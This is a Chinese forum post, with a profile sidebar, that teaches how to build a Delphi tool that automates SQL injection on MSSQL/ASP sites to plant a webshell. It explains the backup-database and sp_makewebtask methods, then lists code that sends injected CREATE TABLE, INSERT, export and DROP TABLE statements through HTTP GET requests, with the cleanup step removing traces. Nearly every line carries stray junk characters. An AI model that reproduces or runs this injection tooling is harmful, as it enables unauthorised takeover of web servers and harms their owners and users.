- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >一.通过SQL注入得到WEBSHELL的原理:
3 x+ q+ k/ R# l, ^N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 ' y5 D4 U% J. i5 P$ l: ~
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
8 h9 ^& Q' |* V4 N' \再来看看CZY的方法吧。
+ p" W: [! }8 G1 N. @$ hCZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。 + R# n6 h; A4 k8 w h
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。 ; V' S, P& q, ^( W9 X: m8 J
二.利用DELPHI去实现功能的前言
0 }6 C" ]+ \. [) U5 v/ q5 s原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。 * R9 ]* m. y: I& F! A3 P0 Y% Z
! B+ V6 ]% D* S/ c) e" S1 E1 c' F三.如何利用DELPHI得到WEBSHELL。
1 i7 h: ~/ S/ |- w, S2 j5 s" k; C3 Y程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。2 w7 P6 i0 w8 q" J1 n3 }3 Q
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图: ( j- b: t6 z+ _; ^! l- n4 ^, o* k
/ z/ _) W* Y* ]# K. |+ A( U( I
" @, ~9 E2 c2 L" i
; m- ?# i. P! g! u" w8 Y6 _* e现在来写程序了。 ' Z3 G3 L5 R9 \8 f% W/ c" Z5 e2 r
我们首先定义一个RECORD。 0 m3 U' j" ^3 T: N( `1 e% d
如下:
3 k: v! d; _: J) V. J. iType 7 U5 F8 U' S! G+ z' u8 t
SetOption = Record 5 B, N) K2 S6 l% r
TableName : String; //用来保存要创建的表名. 9 ~. w8 k" v ?
FieldName : String; //用来保存要创建的字段名. : V# d& e5 L& H/ u( T8 F, r
FiledType : String; //用来保存创建的字段名类型.
( O/ h2 B* C& A' {& D. oEnd;
9 R7 V r2 L4 t* kFiledType字段类型的值是以下类型的一种: " S6 C4 x( q9 V6 A8 f* ^, @& y
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint & i# M) g( k3 |" F
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
$ Z9 F' R# G+ B, T7 A再定义一个全局变量: ) r9 T" ~' \! x9 K- B& q
Var
# S! M: O, l `$ @# C. iISStop : Boolean; //用来判断用户是否按下了停止按纽.
9 F9 y$ C% n4 g3 [好了。在表单创建的过程中,我们为RECORD记录输入默认值. 0 ^* A# R8 W$ \: h; _
代码如下:
. i1 @& K) Y- Z: ^, o; [procedure TMainForm.FormCreate(Sender: TObject);
0 P3 E! v3 H9 {, O, J/ Q& qbegin 0 X7 K: v* Q0 Q& f) g, S+ y
sOption.TableName :='cyfd' ! J6 ^; P, _1 m
sOption.FieldName :='gmemo' 3 M- F5 Z# B8 n' K, [' D
sOption.FiledType :='text' : b- S, ]. w( u% o
end; : ^3 @: Z; O8 {1 M
现在我们添加开始执行命令的代码。
. N; e: z1 q5 C, C, P& h8 C先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
* ^% E! \# N0 x- R. d/ P/ {1 b创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
( P- d' F$ A& `' W6 v( Z在程序开始执行前,我们得先检查一下用户的输入
K% C, g1 T$ P* Z定义一个Checkinput函数. . e8 O8 S- P0 N; J& x: L$ d
如下: 8 k% o( |" h. h( ]+ `
Function CheckInput : Boolean;
7 j1 F ]9 { X6 MBegin 1 M0 P. D# V# C1 @2 s3 s: I# W
Result := False; % X% h1 M9 O) p$ r
if Trim(urlet.Text) = '' then : o% L& d \) ]5 p$ o: L
Begin ! l0 F+ o' i+ l6 g$ {) c( m
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
1 n& [; k5 l8 P' {" x/ \6 Z/ \Exit; $ k* K; R4 _( f5 M f, x* r
End; 0 H3 z, d& J2 H% ~+ `( s# D/ M
if Trim(ShellPathET.Text) = '' then
2 D6 E2 S: X9 O. y! Y3 K# M3 Z" s% |Begin
; L! q% F4 L- iApplication.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
! \9 u: {- ~' {9 ?- I# }2 rExit;
, k* i8 {( J& ?' HEnd; * N! q- \1 f1 I' c: n9 @# z% C
IF DefBDoor.Checked then
$ ~( N4 R7 X& G H+ ]Begin
' v1 b1 _9 H7 Iif Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then # \0 \: Y4 x( O; e& g1 X
Begin & x5 o& @& Q. V" J) b- x& F
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation); ; b3 x- j2 @" W% N0 ?
Exit; 7 e# w1 y9 P# _4 j; b0 ]2 a* ^
End;
' J' |9 S" u1 HEnd ; N5 |1 {( v/ n0 K. @" a( O6 d
Else
% f: Y& D% _* o# l0 Y3 }if Not FileExists(CustomBdoorET.Text) then
5 w1 ]% F3 t" P9 n& f0 `/ ^" m3 |Begin
( @1 E L% j+ S# I3 \; fApplication.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
. T9 q$ E6 N) u5 E& V' Z: [Exit; # y- x3 X1 D3 _* T9 j3 a
End; . X: j8 x- t+ N& `( K
Result := True; ' Z! M5 y3 N$ {! X/ G
End;
2 N( A5 f% a% h8 ^在最开始加入: * ?, x! H* ]; ]
IF Not CheckInput then Exit; //如果输入不合法就退出过程.
' l# J0 `5 n; f好了,如果用户输入没什么错,我们就来下面的代码。
4 _- P: L7 N! g" @) P& n$ ?首先我们把IsStop设为假。创建BdoorList。 # s# [8 D' W+ ^3 N
BDoorList := TstringList.Create; : t2 k! A1 o! }; I
再加木马内容到BDoorlist. # S U, l3 A5 C8 z) g$ I
BDoorList.LoadFromFile(CustomBdoorET.text); . R% _" [, F5 O$ {! n
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。 / i( N& H2 S: L
代码如下: $ `4 k4 Q$ g% ^) U
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); - F5 E( s- e) I$ x- i0 O. d P
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
+ G8 d/ T, x0 Q6 X6 E接下来.我们就提交建表的功能了. 3 q2 p( Q* V' ]; H$ f0 y
Memo.Lines.Add('建表...'); + }& d* R4 U, c/ d
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
& _% K+ K2 d/ D) p% t% @( ~" o这样我们就创建了一个表。然后.我们向表中加记录:
, N+ M& ]7 y: V- w代码如下: - A( F7 E( w- {5 U, C7 U
Memo.Lines.Add('加数据...'); - |) M4 b1 N- y; y
Memo.Lines.Add('');
, a2 P8 q! q( O& xFor i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去. % K$ u; M6 S. C( K+ C
Begin
% L: y5 V2 ]2 o# [: ^8 P9 uIF IsStop then //这里如果点了停止按纽程序将终止任务.
) v8 F9 v5 w6 G/ f6 GBegin
0 v4 \& a- f6 u# L# w" YBDoorList.Free;
9 u& f1 Q3 O4 h( S7 i% m3 _Exit; % k' j% l) _+ i# J& N& \' F7 p$ ]
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
. I0 e! X" u# P7 p( J7 i& |Memo.Lines.Add('Add Line '+Inttostr(i+1));
2 l! k0 S0 L( K7 G! B2 B9 iEnd; ( C8 o+ y. C) x
现在就是导出数据生成木马了.
6 w3 d! V4 N# ?7 b- v# iMemo.Lines.Add('导出数据...');
| `% y [9 H8 ?Memo.Lines.Add('');
# T8 G* E- x0 K) o9 r- |4 J6 WIF BKData.Checked then //如果选中采用备份数据就执行下面的命令. ' u5 T- u. s6 G+ j; r3 U
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
6 j; Q6 {0 e6 F, I: l0 ^- fElse //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
# ]) r' o, O E我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
9 ~- c: g$ R" V D; X j这样我们的任务就完成了。下面来释放变量.
; A# |6 C3 w8 K& BBDoorList.Free;
5 V9 S* @$ z% }& s& @2 d- _再来向停止按纽中添加点击事件:
- s) j- s. x4 P7 [1 C一行代码就行了:IsStop := True; $ Z) N& N ^; W8 F% |
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。 * D) N/ W5 S& D, R
设置表单中先引用主表单.然后在界面中添加二个EDIT控件: # D$ b$ Q, ~, _8 S% R- `+ c ^/ A
第一个名称为:TableNameET //保用户输入的存临时表 % @. C) m+ u% G x7 k
第二个名称为:FieldNameET //用来保存用户输入的字段名.
* C* b" Q6 l* M) H' J6 K" r$ B再添加一个Combobox //用来保存用户所选的字段类型值.
+ U' M9 q# ?$ a名称:FieldTypeCombox
1 ]/ u% \, W! C DOK.界面如下:
, K( I8 i8 w Q4 e5 l9 r9 g1 V* z5 P t7 g
代码如下:
+ _% y. Z8 ~+ C2 | x定义一个过程,主表单好调用这个设置。 ( r; ~; k/ _8 ]- x# N
Procedure ShowSet; - j* m r4 h: U
Begin : I3 w) n$ e$ [/ d0 W
Application.CreateForm(TSetForm,SetForm);
& U `( ]% c8 _9 s/ q6 P# t2 kWith SetForm do / u9 v# @ _9 b$ o; s* k: {6 i0 L( V
Begin
$ v& Y6 {$ w$ W* L6 VTableNameET.Text := sOption.TableName;
8 h3 N6 L; ~3 j! G9 WFieldNameET.Text := sOption.FieldName; / m% D f3 ]! R- [2 w
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
Y/ |* F0 H0 |0 REnd; ; y& u, R1 E5 \4 `" C. h# S
SetForm.ShowModal; ' X7 P7 }" B% h( P( A7 e6 K
SetForm.Free; ( R5 s" |; h% Q6 W7 k" U
End; / K- ?" N9 z5 x% g! S* N9 c
在主表单中设置的点击事件中添加上showset过程就行了。
* q: O0 E2 K9 d下面就是点击确定的代码了。
3 u, D5 D0 x, U) yIF CheckInput then . f- n' S3 |# W# o& N/ M. M
Begin
; C3 D( C, q, b6 }3 F" g& K+ KsOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD. $ }- ^2 M* h6 F; d* e
sOption.FieldName := Trim(FieldNameET.Text); + o0 w) Q* Y5 m# B5 a, c" K
sOption.FiledType := FieldTypeCombox.Text; 3 s8 ]* o2 K! |
Close;
/ a* u5 {/ y+ ~2 R- q" DEnd; $ E! I2 O I9 y% s- @' T, v! y( i1 k
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 7 O: B4 x# z6 m- ^% V$ _+ W
代码如下: / O$ x( E/ J5 Q
Function CheckInput : Boolean; 4 g8 t3 w! J6 r( R6 f: p
Begin
* R# q& P$ @- v+ H. RResult := False; # j% B& Z; |% A
IF Trim(TableNameET.Text)='' then
9 ]/ \' i1 \: y/ J0 ^# ?Begin
7 f+ I2 E8 Y |3 e) CApplication.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); 1 M6 j& p9 z7 B1 h. G
Exit;
6 i/ y3 B- E, p4 M0 n% _$ ?$ pEnd;
5 G7 R3 y( H- sIF Trim(FieldNameET.Text)='' then 9 u8 b( q; N5 H# h
Begin
' j4 k" O9 Z" S7 E+ C' x& d5 a+ \Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
2 L! z8 w9 o2 W. _) D# jExit; ; y) E% X% Q% [- C0 c
End; 7 z1 P8 u: k. }8 l6 ~0 `" z; k) T: Q
Result := True;
8 w# W# j0 \$ l* c) b4 nEnd;
9 ]( q4 h- t* O& F5 r7 M$ x到这里程序就完了。</P> |
zan
|